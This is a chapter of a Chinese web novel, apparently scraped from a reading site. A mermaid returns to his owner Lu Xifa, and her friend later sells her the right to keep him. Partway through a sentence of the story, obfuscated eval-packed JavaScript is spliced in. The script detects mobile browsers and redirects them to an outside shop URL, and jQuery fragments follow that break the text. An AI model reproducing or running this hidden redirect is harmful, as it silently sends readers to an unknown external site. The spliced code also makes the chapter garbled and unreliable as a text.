人鱼抱着膝盖坐在门口,长发一直垂到地上,浑身脏兮兮的,只有一张脸还算干净。
他仰起头,灯光照着那双湿漉漉的眼睛,蒸腾起一片水雾:“主人。”
路溪法扑过去抱住人鱼,他的体温很低,手是凉的,脸是凉的,脸上的泪也是凉的。
“你没事……你没事……”路溪法不停重复,想把人鱼看得再清楚些,可是那张近在咫尺的脸却越来越模糊,直到人鱼用手碰了一下她的眼睛,她才意识到自己在哭。
“你真的没事吗?”
“对不起主人,我会做很多事情,我会做自己……主人不要丢下我……”
“不会了,我一定不会再让别人带走你了。”
路溪法收紧手臂,两人紧紧相拥,剧烈的心跳声透过胸腔交织在一起,直到最后难舍难分。过了很久路溪法才反应过来他们还在门口,于是打开房门抱着人鱼进去。
他又瘦了,好不容易养出来的一点肉都消失了。路溪法把人鱼放在沙发上,他的手脚添了许多新伤,身上其他部位也有不同程度的磕碰。
看到人鱼的脖颈,路溪法微微一怔,那几道线条优美的鳃裂颜色更深了些,沁出明显的水痕:“你可以用鳃呼吸?”
人鱼点头。
被弗兰博士按进水里时,人鱼的肺剧痛无比,他以为自己要死了,就在失去意识的前一刻,一股清凉灌进他的体内。
看着气息断绝的人鱼,弗兰目光嫌恶,把他丢进了垃圾堆里,却没发现人鱼的鳃裂打开了一道微不可察的缝隙。
和路溪法一起生活时,人鱼也曾在洗澡时沉到浴缸里试图用腮呼吸,然而并没有成功。
“那你怎么敢跳进海里,万一……”路溪法说不下去了,后怕和庆幸在她心底交替滋生。
人鱼摇头:“我不怕。”
看着栈道下的海水,人鱼脑子里只有一个念头:跳下去,一直游,一直游,一直游到主人身边。
他是那么想看见路溪法,以至于他感觉有一股力量在他体内横冲直撞,等他反应过来,他已经抓住栏杆站了起来。
人鱼知道,他只有这一次机会,所以毫不犹豫跳了下去。
海水铺天盖地涌向他,一瞬间,人鱼什么都看不见了。他想呼吸,却只是灌了一大口海水到胃里,紧接着那股刺痛又开始在他的肺里膨胀。
我不会死在这里的,我会回到主人身边。
人鱼从来都没有游过泳,但他好像天生就知道手脚该怎么动,忍着窒息主动沉进更深的海里。
我会回到主人身边,永远和主人在一起。
人鱼睁开眼睛,他能看见了,也可以在海里辨别方向,从前只能拖在地上的小腿,现在仿佛一条真正的鱼尾,他只需要轻轻踢一下腿就能游得更远。
我要永远和主人在一起,我最喜欢主人。
人鱼摆动手臂,有海洋生物从他身边游过去,留下一串水泡。他的肺快要炸开,窒息的剧痛冲上颅顶,逼得他发出一声痛苦的呻/吟,只是张开嘴后他的声音也变成了水泡。人鱼咬了一下舌尖,强迫自己保持清醒,把手放在了脖颈上。
我最喜欢主人,主人……主人……主人……
人鱼猛地呛出一口水,指尖用力,伴随着丝丝缕缕的血迹,他张开了脖颈上的鳃裂。清凉的感觉瞬间席卷全身,人鱼知道他成功了。
他游了很远很远,一直藏在海里,等到海面彻底变得黑暗才找了个偏僻的地方悄悄爬上岸。
人鱼扶着阶梯,他的小腿能动了,就像才学会走路的孩童一样,笨拙,缓慢,步履蹒跚,每走一步都能感受到尖锐的疼痛。
人鱼又想起了小美人鱼的故事,虽然他不是小美人鱼,但却可以体会那种心情——他很开心,疼痛会让他离路溪法更近。
白天,人鱼藏在任何能藏的地方。夜里,他吃下任何能吃的东西。无论有多危险他都不会停下脚步。
“我会查看公交站牌,我会沿着路线、回到主人身边。”人鱼小心翼翼从口袋里拿出手机,双手捧到面前,“可是阿尔冯斯坏掉了。”
路溪法想哭又想笑,好傻的鱼,除了他,大概没人会这么一本正经地叫她给手机取的名字了。
“你饿吗?我给你拿吃的。”路溪法打开冰箱,才发现人鱼离开后她的冰箱也恢复了冷清,“我出去买夜宵。”
“不要。”人鱼拉住路溪法的衣角,半刻也不肯移开目光,“我想看着主人。”
路溪法低下头,对上那双可怜兮兮的眸子,心头一片柔软:“那我点外卖,你先去洗澡,洗完正好出来吃饭。”
人鱼听话地去了浴室,放好水后,他还是舍不得松开路溪法:“主人可以不要走吗?”
“我在客厅等你。”
“我想、主人留在这里。”
路溪法有点儿为难:“可是你要洗澡……”
“没关系的,我是主人的鱼。”人鱼抬手解开扣子,衬衫滑下肩膀露出一截纤细腰身,“我的身体是主人的所有物。”
雪白的、柔软的所有物。路溪法的眼睛比嘴巴诚实,脑子又比眼睛先一步确认,她喜欢人鱼对她毫无保留的依赖。
“嗯。”路溪法抱起人鱼放进浴缸,撩了一捧水浇在他锁骨上,“快洗吧,小脏鱼。”
人鱼终于得偿所愿。路溪法虽然留了下来,却也不好意思一直盯着他看,专心数浴室地板有多少块。
“主人。”不知道过了多久,人鱼的声音忽然贴着水面响起,路溪法抬起头,发现人鱼半沉入水里,“主人要看我吐泡泡吗?”
“吐泡泡?”
人鱼继续下沉,躺到浴缸底部,那双蓝色的眼睛在水里丝毫不受影响,反而愈发剔透,随着人鱼颈上鳃裂一张一合,晶莹的水泡从他唇齿间溢出来。
“就像这样。”人鱼在水里做口型。
路溪法忍不住笑起来,伸手探入水中捉住一颗水泡。
那只白皙的手近在眼前,中指上的戒指格外眼熟,人鱼追逐着路溪法的手浮出水面,探出舌尖舔了一下。
“主人。”人鱼浑身湿透,长长的睫毛上缀着水珠,又随着他眨眼落下来。
路溪法怔了一下,被舔过的指节开始发烫,人鱼却好像食髓知味一样,再次低头含住她的手指,卷起舌尖吮吸舔舐。
路溪法回过神来,想也不想,扣住人鱼下颌将他拉到怀里,金属戒指紧紧压住人鱼湿软的舌头。
“谁允许你舔我的?”
两人挨得极近,路溪法几乎可以感觉到人鱼的呼吸在发烫,他的喉结滚动一轮,艰难地吐出音节:“主……人……”
清纯无辜的脸,以及完全相反的行为。路溪法收回手,俯身靠近人鱼微张的唇。
“嗡——嗡——”手机震动突兀地响了起来,路溪法略一偏头,只在人鱼颊边轻轻一碰。
是外卖员打来的电话,她点的夜宵送到了。
路溪法呼了口气,从暧昧的水汽中站起身:“我去拿外卖,你洗完了就出来吃饭吧。”
人鱼怅然若失,还是乖乖回答了好。
何雨微带走人鱼时把他的东西全带走了,连一件睡衣都没留下,路溪法只好又把她的睡衣给人鱼穿。
人鱼很喜欢,衣服上有主人的气息。
天亮之后,路溪法带人鱼去了医院,请医生给他做全面检查。何雨微刚好打来电话,声音里满是试探:“你还好吗?”
“嗯。”
“你在哪里?”
“医院。”
“啊?”
“我把医院地址发你,你过来吧,我觉得我们需要谈谈。”
何雨微不敢耽搁,火速赶去医院,路上她设想了无数种情况,暗暗告诫自己就算路溪法要打她她也绝不还手,却还是在看见人鱼的那一刻傻眼了:“我没眼花吧?”
路溪法简明扼要地说了情况,何雨微
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17619697|203590||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
越听越睁大眼睛,难以置信地问:“原来人鱼会游泳啊?腿也好了?”
“嗯,还没好透。”
“那也很幸运了,好歹没有真的出事,可惜手机坏了……坏了放转转回收吧,价格公道上门取件。”
路溪法满头黑线:“你有病吗?这个时候还在给转转打广告?”
何雨微对对手指:“对不起,我有职业病。”
“我不管你怎样,我不会再让你把人鱼带走。”
何雨微摆摆手,瘫坐在椅子上:“我知道了,不用你说我也不会带走它了,这半个月我每天都很难受,做了好几个噩梦。”
她想利用人鱼起号做宠物博主,要是大家发现人鱼为了回到路溪法身边宁愿去死肯定会不买账的,到时候她不仅接不到广还要挨骂,完全得不偿失。
路溪法没想到何雨微这么轻易就答应了,从内心到表情都表现出怀疑,何雨微大声抗议:“拜托,你那是什么表情?本人说话算话一言九鼎。”
“真的?”
“当然是真的,不就是钱么,我会找到别的办法挣,不过你给人鱼花的钱我不会还你哈,你给它买的东西还在我那,改天我给你送回来。”
何雨微义正辞严,还特意留下来等人鱼的检查结果。
医生表示人鱼基本上没有大碍,鳃裂彻底打开后要注意隔三差五浸水湿润,以免粘连,小腿继续接受治疗,还有就是注意心理疏导,他有点儿分离焦虑。
何雨微好奇地问:“那他们俩一刻也不能分开吗?”
“不是的,分离焦虑也存在‘安全范围’,本质是对不确定、不可控产生焦虑。”
何雨微若有所思地点点头,这些天她也大概了解到了一些之前的情况,如果当初真的是她收到人鱼,她也不敢保证能照顾好,毕竟她自己都过得一团乱麻。
想了一通之后,何雨微越发觉得把人鱼给路溪法的决定是正确的,连日来的阴霾一扫而空。
“亲爱的,那我走了,不出意外的话以后我们都不会再见了。”
何雨微挥挥衣袖飘然离开病房,路溪法送她出门,看在她残存的良心上顺口祝她早日发财。
何雨微双手合十祈祷:“谢谢,我一定会发财的,我只是差一点运气和一点启动资金。”
路溪法不置可否,转身返回病房,还没等她走到门口,身后忽然传来急促的脚步声,何雨微大步跑了回来:“等一下等一下,我想到了!”
路溪法一头雾水:“想到什么?”
“你绝对不会让任何人带走人鱼对不对?”
“对。”
“你也绝对不会让任何人伤害人鱼对不对?”
“对。”
“那你要怎么做到呢?”
这似曾相识的句式让路溪法隐隐生出不好的预感:“……离你远点。”
何雨微跺了下脚:“不对,是把人鱼变成你的所有物,不管是感情上还是法律上。”
路溪法不得不再次用表情展现她的疑惑,何雨微狡黠一笑:“给我三万,我配合你给人鱼办身份证,这样一来你也彻底拥有人鱼了,我也得到启动资金了。”
路溪法额角抽动:“所以你发的是我的财?”
“哎呀亲爱的,只要三万块,以后谁再想从你手里抢走人鱼,你就可以用身份证狠狠抽他的脸。”
“这个人除了你还有谁?”
“那也可以抽我!虽然看见人鱼在你这里吃好喝好,我的内心十分感动,但是不知道我会不会哪天突发恶疾,又想把人鱼要回去……”
路溪法快被气笑了,竖起中指:“我可以给你钱,但你要给我写一份赠与合同,注明立即生效不可撤销。”
何雨微眉开眼笑,一口答应:“没问题!我才打完官司正好有经验,以后你要是碰见类似的纠纷欢迎来问我呀。”
路溪法原话奉还:“谢谢,不出意外的话以后我们都不会再见了。”